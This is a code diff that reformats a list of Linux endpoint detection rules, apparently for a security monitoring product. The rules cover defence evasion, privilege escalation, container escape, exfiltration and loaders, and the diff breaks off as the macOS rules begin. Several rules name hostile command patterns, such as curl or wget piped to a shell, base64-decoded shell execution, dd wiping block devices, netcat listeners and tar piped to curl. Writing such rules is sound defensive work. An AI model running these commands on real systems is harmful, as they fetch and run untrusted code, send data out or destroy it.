- S(slug="linux-auditctl-disable", name="auditctl Used To Disable Audit Rules",
- severity="high", mitre=["t1562.012"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/auditctl", "argv_contains_any": ["-D", "-e 0"]},
- fp=[FP_TUNING, FP_FORENSIC], playbook="tpl-defense-evasion"),
- S(slug="linux-syslog-config-removed", name="rsyslog Configuration File Removed",
- severity="high", mitre=["t1562.001"], product="linux", service="auditd",
- when={"syscall": "unlinkat", "path_contains_any": ["/etc/rsyslog.d/", "/etc/rsyslog.conf"]},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
- S(slug="linux-utmp-tampering", name="/var/log/wtmp Or /var/log/btmp Modified Suspiciously",
- severity="high", mitre=["t1070.002"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains_any": ["/var/log/wtmp", "/var/log/btmp"], "exe_not_endswith_any": ["/login", "/sshd", "/init"]},
- fp=[FP_FORENSIC], playbook="tpl-defense-evasion"),
- S(slug="linux-history-cleared", name="Bash History File Truncated Or Removed",
- severity="medium", mitre=["t1070.003"], product="linux", service="auditd",
- when={"syscall": "openat", "path_endswith": "/.bash_history", "flags_contains": "O_TRUNC"},
- fp=[FP_FORENSIC, "User cleared their own history (educate)"], playbook="tpl-defense-evasion"),
- S(slug="linux-history-disabled-export", name="HISTFILE Set To /dev/null",
- severity="medium", mitre=["t1070.003"], product="linux", service="auditd",
- when={"syscall": "execve", "argv_contains_any": ["histfile=/dev/null", "set +o history"]},
- fp=[FP_FORENSIC], playbook="tpl-defense-evasion"),
- S(slug="linux-selinux-permissive", name="SELinux Set To Permissive",
- severity="high", mitre=["t1562.001"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/setenforce", "argv_contains_any": ["0", "permissive"]},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="linux-apparmor-disabled", name="AppArmor Profile Disabled",
- severity="high", mitre=["t1562.001"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith_any": ["/aa-disable", "/apparmor_parser"], "argv_contains": "-R"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="linux-iptables-flush", name="iptables -F Used To Flush Rules",
- severity="high", mitre=["t1562.004"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/iptables", "argv_contains_any": ["-F", "--flush"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="linux-ufw-disable", name="ufw Firewall Disabled",
- severity="medium", mitre=["t1562.004"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/ufw", "argv_contains": "disable"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
-
+ S(
+ slug="linux-auditd-stopped",
+ name="auditd Service Stopped",
+ severity="high",
+ mitre=["t1562.012"],
+ product="linux",
+ service="syslog",
+ when={"unit": "auditd", "active_state": "inactive"},
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-auditctl-disable",
+ name="auditctl Used To Disable Audit Rules",
+ severity="high",
+ mitre=["t1562.012"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/auditctl", "argv_contains_any": ["-D", "-e 0"]},
+ fp=[FP_TUNING, FP_FORENSIC],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-syslog-config-removed",
+ name="rsyslog Configuration File Removed",
+ severity="high",
+ mitre=["t1562.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "unlinkat", "path_contains_any": ["/etc/rsyslog.d/", "/etc/rsyslog.conf"]},
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-utmp-tampering",
+ name="/var/log/wtmp Or /var/log/btmp Modified Suspiciously",
+ severity="high",
+ mitre=["t1070.002"],
+ product="linux",
+ service="auditd",
+ when={
+ "syscall": "openat",
+ "path_contains_any": ["/var/log/wtmp", "/var/log/btmp"],
+ "exe_not_endswith_any": ["/login", "/sshd", "/init"],
+ },
+ fp=[FP_FORENSIC],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-history-cleared",
+ name="Bash History File Truncated Or Removed",
+ severity="medium",
+ mitre=["t1070.003"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_endswith": "/.bash_history", "flags_contains": "O_TRUNC"},
+ fp=[FP_FORENSIC, "User cleared their own history (educate)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-history-disabled-export",
+ name="HISTFILE Set To /dev/null",
+ severity="medium",
+ mitre=["t1070.003"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "argv_contains_any": ["histfile=/dev/null", "set +o history"]},
+ fp=[FP_FORENSIC],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-selinux-permissive",
+ name="SELinux Set To Permissive",
+ severity="high",
+ mitre=["t1562.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/setenforce", "argv_contains_any": ["0", "permissive"]},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-apparmor-disabled",
+ name="AppArmor Profile Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith_any": ["/aa-disable", "/apparmor_parser"], "argv_contains": "-R"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-iptables-flush",
+ name="iptables -F Used To Flush Rules",
+ severity="high",
+ mitre=["t1562.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/iptables", "argv_contains_any": ["-F", "--flush"]},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-ufw-disable",
+ name="ufw Firewall Disabled",
+ severity="medium",
+ mitre=["t1562.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/ufw", "argv_contains": "disable"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
# ---- Discovery / privilege (8) ----
- S(slug="linux-shadow-read", name="/etc/shadow Read By Non-Root Process",
- severity="high", mitre=["t1003.008"], product="linux", service="auditd",
- when={"syscall": "openat", "path": "/etc/shadow", "actor_uid_neq": 0},
- fp=["Approved security scanner running with sudo"], playbook="tpl-credential-access"),
- S(slug="linux-passwd-modified", name="/etc/passwd Modified By Non-Pkg Process",
- severity="high", mitre=["t1136.001"], product="linux", service="auditd",
- when={"syscall": "openat", "path": "/etc/passwd", "exe_not_endswith_any": ["/useradd", "/usermod", "/groupadd", "/userdel"]},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-suid-binary-create", name="SUID Bit Set On Newly Created Binary",
- severity="high", mitre=["t1548.001"], product="linux", service="auditd",
- when={"syscall": "fchmod", "mode_octal_contains": "4", "path_not_startswith_any": ["/usr/bin", "/usr/sbin", "/bin", "/sbin"]},
- fp=["Approved deploy of internal tool"], playbook="tpl-privilege-escalation"),
- S(slug="linux-guid-binary-create", name="SGID Bit Set On Newly Created Binary",
- severity="medium", mitre=["t1548.001"], product="linux", service="auditd",
- when={"syscall": "fchmod", "mode_octal_contains": "2", "path_not_startswith_any": ["/usr/bin", "/usr/sbin", "/bin", "/sbin"]},
- fp=["Approved deploy"], playbook="tpl-privilege-escalation"),
- S(slug="linux-cap-setuid-binary", name="setuid Capability Granted To New Binary",
- severity="high", mitre=["t1548.001"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/setcap", "argv_contains": "cap_setuid"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="linux-mass-userlist-read", name="/etc/passwd Read By Many Processes In Short Window",
- severity="low", mitre=["t1087.001"], product="linux", service="auditd",
- when={"syscall": "openat", "path": "/etc/passwd", "distinct_pid_5min_gt": 50},
- fp=["Container fleet startup (allow-listed)"], playbook="tpl-discovery"),
- S(slug="linux-netcat-listen", name="netcat Listening Mode Detected",
- severity="medium", mitre=["t1059.004"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith_any": ["/nc", "/ncat", "/netcat"], "argv_contains_any": ["-l", "-lvp", "--listen"]},
- fp=["Lab / test exercise"], playbook="tpl-command-and-control"),
- S(slug="linux-curl-piped-bash", name="curl/wget Piped Directly To Shell",
- severity="medium", mitre=["t1059.004"], product="linux", service="auditd",
- when={"syscall": "execve", "argv_contains_any": ["curl | bash", "curl | sh", "wget -O- | bash", "wget -qO- | sh"]},
- fp=["Vendor install script (allow-listed)"], playbook="tpl-execution"),
-
+ S(
+ slug="linux-shadow-read",
+ name="/etc/shadow Read By Non-Root Process",
+ severity="high",
+ mitre=["t1003.008"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path": "/etc/shadow", "actor_uid_neq": 0},
+ fp=["Approved security scanner running with sudo"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="linux-passwd-modified",
+ name="/etc/passwd Modified By Non-Pkg Process",
+ severity="high",
+ mitre=["t1136.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path": "/etc/passwd", "exe_not_endswith_any": ["/useradd", "/usermod", "/groupadd", "/userdel"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-suid-binary-create",
+ name="SUID Bit Set On Newly Created Binary",
+ severity="high",
+ mitre=["t1548.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "fchmod", "mode_octal_contains": "4", "path_not_startswith_any": ["/usr/bin", "/usr/sbin", "/bin", "/sbin"]},
+ fp=["Approved deploy of internal tool"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-guid-binary-create",
+ name="SGID Bit Set On Newly Created Binary",
+ severity="medium",
+ mitre=["t1548.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "fchmod", "mode_octal_contains": "2", "path_not_startswith_any": ["/usr/bin", "/usr/sbin", "/bin", "/sbin"]},
+ fp=["Approved deploy"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-cap-setuid-binary",
+ name="setuid Capability Granted To New Binary",
+ severity="high",
+ mitre=["t1548.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/setcap", "argv_contains": "cap_setuid"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-mass-userlist-read",
+ name="/etc/passwd Read By Many Processes In Short Window",
+ severity="low",
+ mitre=["t1087.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path": "/etc/passwd", "distinct_pid_5min_gt": 50},
+ fp=["Container fleet startup (allow-listed)"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="linux-netcat-listen",
+ name="netcat Listening Mode Detected",
+ severity="medium",
+ mitre=["t1059.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith_any": ["/nc", "/ncat", "/netcat"], "argv_contains_any": ["-l", "-lvp", "--listen"]},
+ fp=["Lab / test exercise"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="linux-curl-piped-bash",
+ name="curl/wget Piped Directly To Shell",
+ severity="medium",
+ mitre=["t1059.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "argv_contains_any": ["curl | bash", "curl | sh", "wget -O- | bash", "wget -qO- | sh"]},
+ fp=["Vendor install script (allow-listed)"],
+ playbook="tpl-execution",
+ ),
# ---- Container escape & kernel (10) ----
- S(slug="linux-docker-socket-read-non-root", name="Docker Socket Accessed By Non-Root User",
- severity="high", mitre=["t1611"], product="linux", service="auditd",
- when={"syscall": "connect", "path": "/var/run/docker.sock", "actor_uid_neq": 0},
- fp=["docker group user (deprecated, must be ticketed)"], playbook="tpl-privilege-escalation"),
- S(slug="linux-docker-socket-mounted-into-container", name="Docker Socket Mounted Into Container",
- severity="critical", mitre=["t1611"], product="linux", service="docker",
- when={"event_type": "container_create", "host_path": "/var/run/docker.sock"},
- fp=["Authorised CI runner pattern"], playbook="tpl-privilege-escalation"),
- S(slug="linux-host-pid-namespace", name="Container Started With --pid=host",
- severity="high", mitre=["t1611"], product="linux", service="docker",
- when={"event_type": "container_create", "pid_mode": "host"},
- fp=["Performance-monitoring agent (allow-listed)"], playbook="tpl-privilege-escalation"),
- S(slug="linux-host-network-namespace", name="Container Started With --network=host",
- severity="medium", mitre=["t1611"], product="linux", service="docker",
- when={"event_type": "container_create", "network_mode": "host"},
- fp=["Approved CNI sidecar"], playbook="tpl-privilege-escalation"),
- S(slug="linux-cap-sys-admin-add", name="Container Granted CAP_SYS_ADMIN",
- severity="high", mitre=["t1611"], product="linux", service="docker",
- when={"event_type": "container_create", "added_caps_has_any": ["CAP_SYS_ADMIN", "ALL"]},
- fp=["Documented container with documented exception"], playbook="tpl-privilege-escalation"),
- S(slug="linux-mount-procfs-rw", name="/proc Re-Mounted With Read-Write",
- severity="high", mitre=["t1611"], product="linux", service="auditd",
- when={"syscall": "mount", "target_startswith": "/proc", "options_contains": "rw"},
- fp=["Container debugging procedure"], playbook="tpl-privilege-escalation"),
- S(slug="linux-kernel-module-load-insmod", name="Kernel Module Loaded With insmod",
- severity="high", mitre=["t1547.006"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/insmod"},
- fp=[FP_PATCH], playbook="tpl-persistence"),
- S(slug="linux-ebpf-prog-load-non-root", name="eBPF Program Loaded By Non-Root",
- severity="high", mitre=["t1547"], product="linux", service="auditd",
- when={"syscall": "bpf", "cmd": "BPF_PROG_LOAD", "actor_uid_neq": 0},
- fp=["Sanctioned observability agent"], playbook="tpl-defense-evasion"),
- S(slug="linux-ptrace-pid1", name="ptrace Attached To PID 1",
- severity="high", mitre=["t1611"], product="linux", service="auditd",
- when={"syscall": "ptrace", "target_pid": 1},
- fp=[FP_FORENSIC], playbook="tpl-privilege-escalation"),
- S(slug="linux-memfd-create-then-execve", name="memfd_create Then Executed Anonymous Memory Region",
- severity="high", mitre=["t1620"], product="linux", service="auditd",
- when={"syscall": "execveat", "fd_path_startswith": "/memfd:"},
- fp=["Sanctioned packer / runtime that uses memfd"], playbook="tpl-defense-evasion"),
-
+ S(
+ slug="linux-docker-socket-read-non-root",
+ name="Docker Socket Accessed By Non-Root User",
+ severity="high",
+ mitre=["t1611"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "connect", "path": "/var/run/docker.sock", "actor_uid_neq": 0},
+ fp=["docker group user (deprecated, must be ticketed)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-docker-socket-mounted-into-container",
+ name="Docker Socket Mounted Into Container",
+ severity="critical",
+ mitre=["t1611"],
+ product="linux",
+ service="docker",
+ when={"event_type": "container_create", "host_path": "/var/run/docker.sock"},
+ fp=["Authorised CI runner pattern"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-host-pid-namespace",
+ name="Container Started With --pid=host",
+ severity="high",
+ mitre=["t1611"],
+ product="linux",
+ service="docker",
+ when={"event_type": "container_create", "pid_mode": "host"},
+ fp=["Performance-monitoring agent (allow-listed)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-host-network-namespace",
+ name="Container Started With --network=host",
+ severity="medium",
+ mitre=["t1611"],
+ product="linux",
+ service="docker",
+ when={"event_type": "container_create", "network_mode": "host"},
+ fp=["Approved CNI sidecar"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-cap-sys-admin-add",
+ name="Container Granted CAP_SYS_ADMIN",
+ severity="high",
+ mitre=["t1611"],
+ product="linux",
+ service="docker",
+ when={"event_type": "container_create", "added_caps_has_any": ["CAP_SYS_ADMIN", "ALL"]},
+ fp=["Documented container with documented exception"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-mount-procfs-rw",
+ name="/proc Re-Mounted With Read-Write",
+ severity="high",
+ mitre=["t1611"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "mount", "target_startswith": "/proc", "options_contains": "rw"},
+ fp=["Container debugging procedure"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-kernel-module-load-insmod",
+ name="Kernel Module Loaded With insmod",
+ severity="high",
+ mitre=["t1547.006"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/insmod"},
+ fp=[FP_PATCH],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-ebpf-prog-load-non-root",
+ name="eBPF Program Loaded By Non-Root",
+ severity="high",
+ mitre=["t1547"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "bpf", "cmd": "BPF_PROG_LOAD", "actor_uid_neq": 0},
+ fp=["Sanctioned observability agent"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-ptrace-pid1",
+ name="ptrace Attached To PID 1",
+ severity="high",
+ mitre=["t1611"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "ptrace", "target_pid": 1},
+ fp=[FP_FORENSIC],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-memfd-create-then-execve",
+ name="memfd_create Then Executed Anonymous Memory Region",
+ severity="high",
+ mitre=["t1620"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execveat", "fd_path_startswith": "/memfd:"},
+ fp=["Sanctioned packer / runtime that uses memfd"],
+ playbook="tpl-defense-evasion",
+ ),
# ---- Exfil / staging / impact (10) ----
- S(slug="linux-tar-pipe-curl", name="tar Output Piped To curl Upload",
- severity="high", mitre=["t1041"], product="linux", service="auditd",
- when={"syscall": "execve", "argv_contains_all": ["tar", "curl"]},
- fp=["Sanctioned backup script (allow-listed)"], playbook="tpl-exfiltration"),
- S(slug="linux-rclone-process", name="rclone Binary Run On Non-Backup Host",
- severity="medium", mitre=["t1041"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/rclone"},
- fp=[FP_BACKUP], playbook="tpl-exfiltration"),
- S(slug="linux-large-stage-tmp", name="Large Archive Created In /tmp",
- severity="medium", mitre=["t1074.001"], product="linux", service="auditd",
- when={"syscall": "openat", "path_startswith": "/tmp/", "path_endswith_any": [".tar", ".tar.gz", ".zip", ".7z"], "size_bytes_gt": 524288000},
- fp=["Sanctioned local backup"], playbook="tpl-collection"),
- S(slug="linux-base64-decode-then-execve", name="base64 Decoded Then Executed In Shell",
- severity="medium", mitre=["t1027"], product="linux", service="auditd",
- when={"syscall": "execve", "argv_contains_any": ["base64 -d | bash", "base64 -d | sh", "echo | base64 -d | sh"]},
- fp=[FP_PENTEST], playbook="tpl-execution"),
- S(slug="linux-cryptominer-process", name="Likely Cryptominer Process Detected",
- severity="critical", mitre=["t1496"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith_any": ["/xmrig", "/minerd", "/cpuminer"]},
- fp=[FP_PENTEST, "Authorized stress-test"], playbook="tpl-impact"),
- S(slug="linux-shred-on-prod-data", name="shred Used Against Production Data Path",
- severity="high", mitre=["t1485"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/shred", "argv_contains_any": ["/var/lib", "/data", "/srv"]},
- fp=["Decommission workflow"], playbook="tpl-impact"),
- S(slug="linux-wipe-disk-dd", name="dd Writing /dev/zero To Block Device",
- severity="critical", mitre=["t1561.002"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/dd", "argv_contains_all": ["if=/dev/zero", "of=/dev/"]},
- fp=["Authorised disk wipe"], playbook="tpl-impact"),
- S(slug="linux-systemctl-mass-stop", name="Multiple Critical Services Stopped In Quick Burst",
- severity="high", mitre=["t1489"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/systemctl", "argv_contains_any": ["stop", "disable"], "stops_5min_gt": 5},
- fp=[FP_PATCH], playbook="tpl-impact"),
- S(slug="linux-mass-rename-suspicious-ext", name="Mass File Rename To Ransom Marker Extension",
- severity="critical", mitre=["t1486"], product="linux", service="auditd",
- when={"syscall": "renameat2", "new_name_endswith_any": [".locked", ".enc", ".ryuk", ".lockbit"], "rename_count_60s_gt": 50},
- fp=[FP_PENTEST], playbook="tpl-impact"),
- S(slug="linux-fileless-via-procfd", name="Process Executed From /proc/self/fd Anonymous Inode",
- severity="high", mitre=["t1620"], product="linux", service="auditd",
- when={"syscall": "execveat", "fd_path_startswith": "/proc/self/fd/"},
- fp=["Sanctioned interpreter pattern"], playbook="tpl-defense-evasion"),
-
+ S(
+ slug="linux-tar-pipe-curl",
+ name="tar Output Piped To curl Upload",
+ severity="high",
+ mitre=["t1041"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "argv_contains_all": ["tar", "curl"]},
+ fp=["Sanctioned backup script (allow-listed)"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="linux-rclone-process",
+ name="rclone Binary Run On Non-Backup Host",
+ severity="medium",
+ mitre=["t1041"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/rclone"},
+ fp=[FP_BACKUP],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="linux-large-stage-tmp",
+ name="Large Archive Created In /tmp",
+ severity="medium",
+ mitre=["t1074.001"],
+ product="linux",
+ service="auditd",
+ when={
+ "syscall": "openat",
+ "path_startswith": "/tmp/",
+ "path_endswith_any": [".tar", ".tar.gz", ".zip", ".7z"],
+ "size_bytes_gt": 524288000,
+ },
+ fp=["Sanctioned local backup"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="linux-base64-decode-then-execve",
+ name="base64 Decoded Then Executed In Shell",
+ severity="medium",
+ mitre=["t1027"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "argv_contains_any": ["base64 -d | bash", "base64 -d | sh", "echo | base64 -d | sh"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="linux-cryptominer-process",
+ name="Likely Cryptominer Process Detected",
+ severity="critical",
+ mitre=["t1496"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith_any": ["/xmrig", "/minerd", "/cpuminer"]},
+ fp=[FP_PENTEST, "Authorized stress-test"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="linux-shred-on-prod-data",
+ name="shred Used Against Production Data Path",
+ severity="high",
+ mitre=["t1485"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/shred", "argv_contains_any": ["/var/lib", "/data", "/srv"]},
+ fp=["Decommission workflow"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="linux-wipe-disk-dd",
+ name="dd Writing /dev/zero To Block Device",
+ severity="critical",
+ mitre=["t1561.002"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/dd", "argv_contains_all": ["if=/dev/zero", "of=/dev/"]},
+ fp=["Authorised disk wipe"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="linux-systemctl-mass-stop",
+ name="Multiple Critical Services Stopped In Quick Burst",
+ severity="high",
+ mitre=["t1489"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/systemctl", "argv_contains_any": ["stop", "disable"], "stops_5min_gt": 5},
+ fp=[FP_PATCH],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="linux-mass-rename-suspicious-ext",
+ name="Mass File Rename To Ransom Marker Extension",
+ severity="critical",
+ mitre=["t1486"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "renameat2", "new_name_endswith_any": [".locked", ".enc", ".ryuk", ".lockbit"], "rename_count_60s_gt": 50},
+ fp=[FP_PENTEST],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="linux-fileless-via-procfd",
+ name="Process Executed From /proc/self/fd Anonymous Inode",
+ severity="high",
+ mitre=["t1620"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execveat", "fd_path_startswith": "/proc/self/fd/"},
+ fp=["Sanctioned interpreter pattern"],
+ playbook="tpl-defense-evasion",
+ ),
# ---- Ingress / loaders (7) ----
- S(slug="linux-wget-suspicious-tld", name="wget Pulling From Newly Registered TLD",
- severity="medium", mitre=["t1105"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith_any": ["/wget", "/curl"], "argv_contains_any": [".xyz", ".top", ".click", ".support"]},
- fp=[FP_PATCH], playbook="tpl-command-and-control"),
- S(slug="linux-chmod-plus-x-tmp", name="chmod +x Applied To File In /tmp",
- severity="medium", mitre=["t1222.002"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/chmod", "argv_contains_all": ["+x", "/tmp/"]},
- fp=["Test/CI ephemeral helpers"], playbook="tpl-execution"),
- S(slug="linux-execve-from-dev-shm", name="execve From /dev/shm",
- severity="high", mitre=["t1059.004"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_startswith": "/dev/shm/"},
- fp=["Sanctioned cluster init"], playbook="tpl-execution"),
- S(slug="linux-systemd-portable-attach", name="systemd-portable Image Attached",
- severity="medium", mitre=["t1543.002"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/portablectl", "argv_contains": "attach"},
- fp=["Authorised platform engineering"], playbook="tpl-persistence"),
- S(slug="linux-modprobe-suspicious", name="modprobe Loaded Module From /tmp",
- severity="high", mitre=["t1547.006"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/modprobe", "argv_contains_any": ["/tmp/", "/dev/shm/"]},
- fp=["Diagnostic kernel debug"], playbook="tpl-persistence"),
- S(slug="linux-ld-preload-set-tmp", name="LD_PRELOAD Pointing To /tmp",
- severity="high", mitre=["t1574.006"], product="linux", service="auditd",
- when={"syscall": "execve", "env_ld_preload_startswith": "/tmp/"},
- fp=[FP_AUTOMATION], playbook="tpl-defense-evasion"),
- S(slug="linux-yum-add-untrusted-repo", name="yum/dnf Added Repo From Untrusted Domain",
- severity="medium", mitre=["t1195.002"], product="linux", service="auditd",
- when={"syscall": "openat", "path_startswith": "/etc/yum.repos.d/", "value_contains": "baseurl=http://"},
- fp=[FP_AUTOMATION, FP_PATCH], playbook="tpl-supply-chain"),
+ S(
+ slug="linux-wget-suspicious-tld",
+ name="wget Pulling From Newly Registered TLD",
+ severity="medium",
+ mitre=["t1105"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith_any": ["/wget", "/curl"], "argv_contains_any": [".xyz", ".top", ".click", ".support"]},
+ fp=[FP_PATCH],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="linux-chmod-plus-x-tmp",
+ name="chmod +x Applied To File In /tmp",
+ severity="medium",
+ mitre=["t1222.002"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/chmod", "argv_contains_all": ["+x", "/tmp/"]},
+ fp=["Test/CI ephemeral helpers"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="linux-execve-from-dev-shm",
+ name="execve From /dev/shm",
+ severity="high",
+ mitre=["t1059.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_startswith": "/dev/shm/"},
+ fp=["Sanctioned cluster init"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="linux-systemd-portable-attach",
+ name="systemd-portable Image Attached",
+ severity="medium",
+ mitre=["t1543.002"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/portablectl", "argv_contains": "attach"},
+ fp=["Authorised platform engineering"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-modprobe-suspicious",
+ name="modprobe Loaded Module From /tmp",
+ severity="high",
+ mitre=["t1547.006"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/modprobe", "argv_contains_any": ["/tmp/", "/dev/shm/"]},
+ fp=["Diagnostic kernel debug"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-ld-preload-set-tmp",
+ name="LD_PRELOAD Pointing To /tmp",
+ severity="high",
+ mitre=["t1574.006"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "env_ld_preload_startswith": "/tmp/"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="linux-yum-add-untrusted-repo",
+ name="yum/dnf Added Repo From Untrusted Domain",
+ severity="medium",
+ mitre=["t1195.002"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_startswith": "/etc/yum.repos.d/", "value_contains": "baseurl=http://"},
+ fp=[FP_AUTOMATION, FP_PATCH],
+ playbook="tpl-supply-chain",
+ ),
]
@@ -667,172 +1791,473 @@ LINUX_RULES: list[dict] = [
# ---------------------------------------------------------------------------
MACOS_RULES: list[dict] = [
# ---- Persistence (12) ----
- S(slug="macos-launchdaemon-write-system", name="LaunchDaemon Plist Written To /Library/LaunchDaemons",
- severity="high", mitre=["t1543.001"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains": "/Library/LaunchDaemons/", "creator_signing_id_not_in": ["com.apple.installer", "com.apple.softwareupdated"]},
- fp=["Vendor pkg install (allow-listed)"], playbook="tpl-persistence"),
- S(slug="macos-launchagent-write-user", name="User LaunchAgent Plist Created",
- severity="medium", mitre=["t1543.004"], product="macos", service="endpointsecurity",
- when={"event_type": "ES_EVENT_TYPE_NOTIFY_WRITE", "path_contains_any": ["/Users/", "/Library/LaunchAgents/"], "path_endswith": ".plist"},
- fp=["IDE / sync utility installer"], playbook="tpl-persistence"),
- S(slug="macos-loginitem-add", name="Login Item Added Via osascript",
- severity="medium", mitre=["t1547.015"], product="macos", service="endpointsecurity",
